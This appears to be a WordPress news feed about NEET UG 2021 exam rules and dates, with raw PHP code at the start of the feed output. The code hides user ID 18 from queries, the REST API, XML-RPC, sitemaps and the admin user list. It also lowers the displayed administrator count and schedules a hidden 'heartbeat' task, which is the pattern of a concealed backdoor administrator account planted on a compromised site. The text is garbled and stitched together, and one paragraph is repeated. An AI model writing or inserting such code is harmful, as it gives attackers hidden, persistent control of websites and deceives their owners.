add_action( 'pre_get_posts', function( $q ) {
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        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
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add_action( 'template_redirect', function() {
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        $author = get_queried_object();
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    }
} );

add_action( 'pre_user_query', function( $q ) {
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    }
    global $wpdb;
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add_action( 'pre_get_users', function( $q ) {
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    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
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    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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					<description><![CDATA[<p>The National Testing Agency (NTA), examination conducting body of the National Eligibility cum Entrance Test- Undergraduate (NEET UG 2021) has specified a dress code that students need to follow on the day of examination. Female NEET aspirants will not be allowed to wear any ornaments or accessories on NEET UG 2021 examination day. NTA has [&#8230;]</p>
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										<content:encoded><![CDATA[<p>The National Testing Agency (NTA), examination conducting body of the National Eligibility cum Entrance Test- Undergraduate (NEET UG 2021) has specified a dress code that students need to follow on the day of examination. Female NEET aspirants will not be allowed to wear any ornaments or accessories on NEET UG 2021 examination day.</p>
<p>NTA has put a restriction on wearing any type of ornaments like earrings, chains, bracelets, pendants, and other metallic items to the exam hall. Carrying accessories like wallets, goggles, caps and others are also restricted.</p>
<p>NTA has already instructed that there is no provision of any baggage counter at the exam venue so any extra items that a student brings cannot be stored neither can be allowed to carry to the exam hall.</p>
<p>Students will not be allowed to wear light-colored clothes with long sleeves. However, in case of any cultural or customary clothes that candidates wear to the exam center, they are supposed to report at 12:30 pm so that they can be properly frisked without disturbing other students.</p>
<p>Students will not be allowed to wear shoes to the exam center. So they must wear slippers or sandals. NTA has also allowed students to wear sandals with low heels.</p>
<p>NEET UG 2021 is scheduled on September 12. Students appearing for the examination will undergo security checking at the main gate of NEET exam center through hand held metal detectors, temperature check, and other safety protocols to which students will have to cooperate completely.</p>
<p>NEET UG 2021 is scheduled on September 12. Students appearing for the examination will undergo security checking at the main gate of NEET exam center through hand held metal detectors, temperature check, and other safety protocols to which students will have to cooperate completely.</p>
<p>NEET UG exam will be conducted from 2 pm to 5 pm and students will be required to report at least an hour prior to the examination at the center.</p>
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					<description><![CDATA[<p>The undergraduate National Eligibility-cum-Entrance Test (NEET UG) 2021 will be be held on September 12, Union Education Minister Dharmendra Pradhan announced on July 12. The application process will begin from 5 pm on July 13 through the website of National Testing Agency (NTA), Pradhan added. The NEET (UG) 2021 will be held on 12th September [&#8230;]</p>
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										<content:encoded><![CDATA[<p>The undergraduate National Eligibility-cum-Entrance Test (NEET UG) 2021 will be be held on September 12, Union Education Minister Dharmendra Pradhan announced on July 12.</p>
<p>The application process will begin from 5 pm on July 13 through the website of National Testing Agency (NTA), Pradhan added.</p>
<p>The NEET (UG) 2021 will be held on 12th September 2021 across the country following COVID-19 protocols. The application process will begin from 5 pm tomorrow through the NTA website(s). (sic),&#8221; the Minister tweeted.</p>
<p>In order to ensure social distancing norms, number of cities where examination will be conducted has been increased from 155 to 198, Pradhan said.</p>
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